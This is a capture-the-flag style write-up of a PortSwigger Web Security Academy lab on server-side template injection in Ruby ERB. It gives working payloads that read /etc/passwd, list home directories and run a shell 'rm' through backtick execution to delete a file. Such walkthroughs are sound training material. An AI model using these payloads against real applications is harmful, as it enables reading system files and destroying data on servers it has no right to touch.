Skip to content
Field Details
Platform PortSwigger Web Security Academy
Type Server-Side Template Injection (ERB)
Difficulty Practitioner
Objective Review the ERB documentation to find out how to execute arbitrary code, then delete morale.txt from Carlos's home directory

Basic Server-Side Template Injection

Entering the lab we find an ecommerce site. Clicking into a product to check stock shows:

Unfortunately this product is out of stock

and the URL is:

web-security-academy.net/?message=Unfortunately this product is out of stock
Screenshot

Messing with the message param:

web-security-academy.net/?message=teto

returns teto directly on the page.

Screenshot

User input is going straight into the response — worth checking if it's also going into the template itself.

Common tags to test for SSTI with code evaluation:

{{ 6*6 }}
<%= ... %>

Trying:

web-security-academy.net/?message={{ 6*6 }}

doesn't return 36. But trying:

web-security-academy.net/?message=<%= 6*6 %>
Screenshot

returns 36 — confirms it's Ruby/ERB.

With ERB confirmed, going straight for PayloadsAllTheThings' file read payload:

<%= File.open('/etc/passwd').read %>

Intercepting with Burp:

Screenshot

/etc/passwd comes back. Listing /home:

<%= Dir.entries('/home') %>
[".", "..", "carlos", "elmer", "install", "peter", "user"]

And /home/carlos:

<%= Dir.entries('/home/carlos') %>
[".", "..", ".bash_logout", ".bashrc", ".profile", "morale.txt", ".bash_history"]

morale.txt is there, which is the file we need to delete. Trying to read it first:

<%= File.open('/home/carlos/morale.txt').read %>
Screenshot

We can't get its content in clear text — but reading it isn't the goal, deleting it is. Using ERB's backtick execution to run a shell command:

<%=(`rm morale.txt`)%>
Screenshot

Trying to read the file again afterward gives:

No such file or directory @
Screenshot

Confirms it's gone and the lab it's solved :P

Resources